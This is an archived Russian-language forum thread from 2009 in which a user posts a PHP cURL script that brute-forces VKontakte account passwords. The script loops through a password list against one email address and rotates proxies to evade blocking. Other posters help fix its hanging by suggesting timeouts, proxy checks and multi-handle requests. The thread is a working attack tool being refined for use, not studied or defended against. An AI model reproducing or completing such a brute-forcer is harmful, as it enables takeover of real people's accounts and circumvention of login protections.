PDA

Просмотр полной версии : cURL (proxy, post)


Ru}{eeZ
20.04.2009, 22:28
Пишу брутер вконтакта и столкнулся с проблемой, почему-то виснет скрипт, но только когда гоняю цикл, вот он сам:

<?php
set_time_limit(0);
$base = 'base.txt';
$proxy = 'proxy.txt';
$base = file($base);
$proxy = file($proxy);
$email = 'kvnnbv@mail.ru';

echo '<pre>';
print_r($base);
print_r($proxy);
echo '</pre>';

$curl = curl_init();
$setopt = array(
CURLOPT_URL => 'http://vkontakte.ru/login.php',
CURLOPT_POST => 1,
CURLOPT_RETURNTRANSFER => 1
);
curl_setopt_array($curl,$setopt);
for($i = 0, $j = 0; $i < count($base); $i++, $j++) {
if($j === count($proxy)) $j = 0; /*echo '<br />'.trim($proxy[$j]).'%';*/
curl_setopt($curl,CURLOPT_PROXY,trim($proxy[$j]));
curl_setopt($curl,CURLOPT_POSTFIELDS,'op=a_login_a ttempt&email='.urlencode($email).'&pass='.urlencode(trim($base[$i])).'&expire=0');
echo curl_exec($curl);
}
curl_close($curl);
?>


Естественно, что там ещё много не даписано, брика нет, да и ещё много чего нет...

eLWAux
20.04.2009, 22:53
попробуй curl_multi_init

Pashkela
20.04.2009, 23:43
Почему виснет? Потому что если прокси нерабочая в данный момент, то нет команды не курлить дальше и разорвать соединение, каждую проксю ПЕРЕД использованием надо проверять на рабочесть. По идее

159932
20.04.2009, 23:47
CURLOPT_TIMEOUT ога!

2 eLWAux
не многопотоке дело ;)

2 Pashkela
нах проверять перед этим ? просто поставить CURLOPT_TIMEOUT со значением допустим 30 и если ответа не последовало, одевать следующую проксю и выполнять запрос повторно ..